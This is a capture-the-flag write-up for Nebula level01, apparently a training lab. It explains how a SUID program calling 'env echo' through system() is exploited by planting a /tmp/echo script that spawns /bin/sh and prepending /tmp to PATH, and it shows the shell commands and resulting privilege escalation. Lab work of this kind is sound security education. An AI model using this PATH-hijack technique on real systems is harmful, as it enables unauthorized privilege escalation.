Description

There is a vulnerability in the below program that allows arbitrary programs to be executed, can you find it?

To do this level, log in as the level01 account with the password level01. Files for this level can be found in /home/flag01.

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

int main(int argc, char **argv, char **envp)
{
  gid_t gid;
  uid_t uid;
  gid = getegid();
  uid = geteuid();

  setresgid(gid, gid, gid);
  setresuid(uid, uid, uid);

  system("/usr/bin/env echo and now what?");
}

Approach

The vulnerability lies in the system() call. The binary uses /usr/bin/env echo and now what?. Because echo is called without its absolute path (e.g., /bin/echo), the system will search for the echo executable in the directories specified by the PATH environment variable.

Since we control our environment variables, we can manipulate PATH to hijack the execution flow:

  1. We navigate to a directory where we have write access, such as /tmp.
  2. We create a malicious script named echo that will spawn a shell.
    level01@nebula:/usr/games$ echo '/bin/sh' > /tmp/echo
    level01@nebula:/usr/games$ chmod +x /tmp/echo 
    
  3. Next, we modify the PATH variable to prioritize /tmp over the standard system directories.
    level01@nebula:/usr/games$ export PATH=/tmp:$PATH
    
  4. Now, when we execute the SUID binary /home/flag01/flag01, the env command will look for echo and find our malicious script in /tmp/echo first.
  5. The binary executes our script with the elevated privileges of flag01, dropping us into a shell.
  6. From the new shell, we can run getflag.

Output

level01@nebula:/home/flag01$ cd /usr/games/
level01@nebula:/usr/games$ echo '/bin/sh' > /tmp/echo
level01@nebula:/usr/games$ chmod +x /tmp/echo 
level01@nebula:/usr/games$ export PATH=/tmp:$PATH
level01@nebula:/usr/games$ cd /home/flag01/
level01@nebula:/home/flag01$ ./flag01 
sh-4.2$ id
uid=998(flag01) gid=1002(level01) groups=998(flag01),1002(level01)
sh-4.2$ getflag
You have successfully executed getflag on a target account